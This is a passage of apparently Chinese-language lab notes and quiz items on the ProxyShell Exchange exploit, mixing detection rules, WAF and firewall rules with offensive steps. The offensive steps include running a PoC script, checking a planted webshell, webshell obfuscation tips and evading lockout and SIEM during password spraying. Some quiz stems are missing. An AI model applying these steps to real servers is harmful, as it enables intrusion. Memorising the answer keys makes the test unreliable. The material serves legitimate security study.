Select-Object Mailbox,FilePath,CreatedBy,CompletionTime
# IIS 日誌分析
Get-Content "C:\inetpub\logs\LogFiles\W3SVC1\*.log" |
Select-String "autodiscover.json"
Sigma 規則範例:
title: ProxyShell Exploitation Attempt
description: Detects exploitation attempts of ProxyShell vulnerabilities
logsource:
category: webserver
product: exchange
detection:
selection:
c-uri|contains:
- 'autodiscover.json?@'
- '/mapi/nspi'
- '/powershell'
cs-method: 'POST'
condition: selection
falsepositives:
- Legitimate Autodiscover requests
level: high
# WAF 規則 (ModSecurity 格式)
SecRule REQUEST_URI "@rx /autodiscover/autodiscover\.json\?@.*/(mapi|powershell|owa)" \
"id:1001,phase:2,deny,status:403,msg:'ProxyShell exploitation attempt blocked'"
# 防火牆規則
# 限制 Exchange OWA/ECP 只能從 VPN 或特定 IP 存取
iptables -A INPUT -p tcp --dport 443 -s 192.168.139.0/24 -j ACCEPT
iptables -A INPUT -p tcp --dport 443 -j DROP
# 檢查 SSL 憑證
openssl s_client -connect 192.168.139.21:443 -servername the-eyrie.sevenkingdoms.local
# 修改 /etc/hosts
echo "192.168.139.21 the-eyrie.sevenkingdoms.local" | sudo tee -a /etc/hosts
# 使用 FQDN 重試
python3 proxyshell_poc.py -u https://the-eyrie.sevenkingdoms.local -e administrator@sevenkingdoms.local
# 檢查 IIS 應用程式池
# 確認 ASP.NET 已啟用
# 檢查檔案權限
icacls C:\inetpub\wwwroot\aspnet_client\bypass_shell.aspx
# 查看 IIS 錯誤日誌
Get-Content C:\Windows\System32\LogFiles\HTTPERR\*.log -Tail 50
# 進一步混淆
# 1. 加密字串
# 2. 改變函數名稱
# 3. 使用不同的執行方式 (wscript.shell, WMI)
# 4. 分段載入 payload
A. CVE-2021-31207
B. CVE-2021-34473
C. CVE-2021-34523
D. CVE-2021-26855
答案: B
解析: CVE-2021-34473 是 Pre-auth Path Confusion 漏洞,允許攻擊者透過精心構造的 URL 路徑存取後端 Exchange API,這是典型的 SSRF 攻擊。CVE-2021-26855 是 ProxyLogon 的 SSRF,而非 ProxyShell。
New-MailboxExportRequest
可以寫入任意檔案?A. 因為它有檔案寫入漏洞
B. 因為 PST 格式允許嵌入二進位資料
C. 因為 Exchange 沒有路徑檢查
D. 因為使用了 UNC 路徑
答案: B
解析: PST (Personal Storage Table) 是 Outlook 的郵件儲存格式,其結構允許包含任意二進位資料。當匯出郵件到 PST 時,可以在郵件內容中嵌入 webshell 程式碼,匯出過程會將完整內容寫入指定的檔案路徑。
A. Organization Management
B. Exchange Trusted Subsystem
C. Exchange Windows Permissions
D. Recipient Management
答案: B
解析: Exchange Trusted Subsystem 是 Domain Admins 的成員,對整個 AD 擁有完整權限。這是 Exchange 需要修改 AD 物件 (如建立使用者、修改屬性) 的原因,但也成為攻擊者的目標。
A. 為了繞過防火牆
B. 為了避免帳號鎖定
C. 為了減少網路流量
D. 為了提高成功率
答案: B
解析: Windows 預設的帳號鎖定政策會在短時間內多次登入失敗後鎖定帳號。設定延遲可以分散失敗嘗試的時間,避免觸發鎖定機制,同時也能降低被 SIEM 偵測的機率。
A. 停用 SSL
B. 安裝最新的累積更新
C. 改變管理員密碼
D. 停用 Autodiscover
答案: B
解析: ProxyShell 是已知漏洞,Microsoft 已在後續的累積更新 (CU) 和安全更新中修補。安裝最新更新是最根本的防禦方式。停用 Autodiscover 會影響正常功能,且無法完全阻止攻擊 (還有其他端點)。